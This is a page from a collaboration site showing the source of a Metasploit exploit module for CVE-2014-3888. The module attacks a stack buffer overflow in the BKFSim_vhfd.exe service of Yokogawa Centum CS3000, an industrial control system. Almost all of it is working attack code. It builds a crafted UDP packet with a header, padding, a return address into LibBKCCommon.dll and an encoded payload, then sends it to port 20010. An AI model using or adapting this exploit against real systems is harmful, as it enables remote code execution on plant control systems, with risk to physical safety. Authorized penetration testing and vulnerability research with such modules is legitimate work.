Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',13'Description' => %q{14This module exploits a stack based buffer overflow on Yokogawa CS3000. The vulnerability15exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create16logs using functions like vsprintf and memcpy in an insecure way. This module has been17tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.18},19'Author' =>20[21'Redsadic <julian.vilas[at]gmail.com>',22'juan vazquez'23],24'References' =>25[26['CVE', '2014-3888'],27['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],28['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],29['URL', 'https://www.rapid7.com/blog/post/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']30],31'Payload' =>32{33'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)34'DisableNops' => true,35'BadChars' => "\x00",36'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -350037},38'Platform' => 'win',39'Targets' =>40[41[ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',42{43'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll44'Offset' => 43845}46],47],48'DisclosureDate' => '2014-05-23',49'DefaultTarget' => 0))5051register_options(52[53Opt::RPORT(20010)54])55end5657def exploit58connect_udp5960sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header61sploit << rand_text(target['Offset'])62sploit << [target.ret].pack("V")63sploit << payload.encoded6465print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")66udp_sock.put(sploit)6768disconnect_udp69end70end71727374